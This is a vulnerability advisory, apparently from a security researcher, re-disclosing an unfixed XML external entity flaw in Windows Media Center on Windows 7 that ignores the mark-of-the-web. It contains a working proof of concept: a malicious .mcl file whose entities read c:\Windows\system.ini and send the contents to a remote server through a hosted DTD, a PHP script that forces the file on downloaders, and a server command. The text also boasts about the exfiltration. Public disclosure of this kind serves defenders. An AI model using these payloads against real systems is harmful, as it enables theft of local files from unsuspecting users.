Microsoft Windows Media Center / XXE MotW Bypass (Anniversary Edition)

[hyp3rlinx <apparitionsec () gmail com>]

[+] Credits: John Page (aka hyp3rlinx)
[+] Website: hyp3rlinx.altervista.org
[+] Source:
http://hyp3rlinx.altervista.org/advisories/WINDOWS-MEDIA-CENTER-MOTW-BYPASS-XXE-ANNIVERSARY-EDITION.txt
[+] ISR: Apparition Security


[Vendor]
www.microsoft.com


[Product]
Microsoft Windows Media Center

Windows Media Center is a discontinued digital video recorder and media
player created by Microsoft.
Media Center was first introduced to Windows in 2002 on Windows XP Media
Center.


[Vulnerability Type]
XML External Entity MotW Bypass (Anniversary Edition)


[CVE Reference]
N/A


[Security Issue]
This vulnerability was originally released by me back on December 4, 2016,
yet remains unfixed.
Now, to make matters worse I will let you know "mark-of-the-web" MotW does
not matter here, its just ignored.
Meaning, if the .MCL file is internet downloaded it gets the MOTW but files
still exfiltrated.

Therefore, I am releasing this "anniversary edition" XXE with important
motw informations.

This is a fully working remote information disclosure vulnerability that
still affects Windows 7.
Windows 7 is near end of life this January, yet it is still used by many
organizations.
Furthermore, it seems that Windows 8.1 (Pro) can also run Windows Media
Center but I have not tested it.

Host the "FindMeThatBiotch.dtd" DTD file in the web-root of the attacker
server Port 80 etc...
Download the ".mcl" file using Microsoft Internet Explorer.

Check the MotW where you downloaded the .mcl file dir /r and note the
Zone.Identifier:$DATA exists.
Open the file and BOOM! watch shitz leaving!... still vulnerable after all
these years lol.

OS: Windows 7 (tested successfully) and possibly Windows 8.1 Pro


[Exploit/POC]
1) "M$-Wmc-Anniversary-Motw-Bypass.mcl"

# PoC
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE knobgobslob [
<!ENTITY % data666 SYSTEM "c:\Windows\system.ini">
<!ENTITY % junk SYSTEM "http://<TARGET-IP>/FindMeThatBiotch.dtd">
%junk;
%param666;
%FindMeThatBiotch;
]>


2) "FindMeThatBiotch.dtd"
<!ENTITY % param666 "<!ENTITY &#x25; FindMeThatBiotch SYSTEM 'http://
<TARGET-IP>/%data666;'>">


3) Auto exploit PHP .mcl file downloader.

<?php
$url = 'http://<ATTACKER-IP>/M$-Wmc-Anniversary-Motw-Bypass.mcl';
header('Content-Type: application/octet-stream');
header("Content-Transfer-Encoding: Binary");
header("Content-disposition: attachment; filename=\"" . basename($url) .
"\"");
readfile($url);
?>


4) python -m SimpleHTTPServer 80



[POC Video URL]
https://www.youtube.com/watch?v=zcrATpBNAZ0


[Network Access]
Remote



[Severity]
High


[Disclosure Timeline]
Vendor Notification:  December 4, 2016
MSRC "wont fix"
Dec 2, 2019 : Re-Public "unfixed anniversary" Disclosure



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hyp3rlinx

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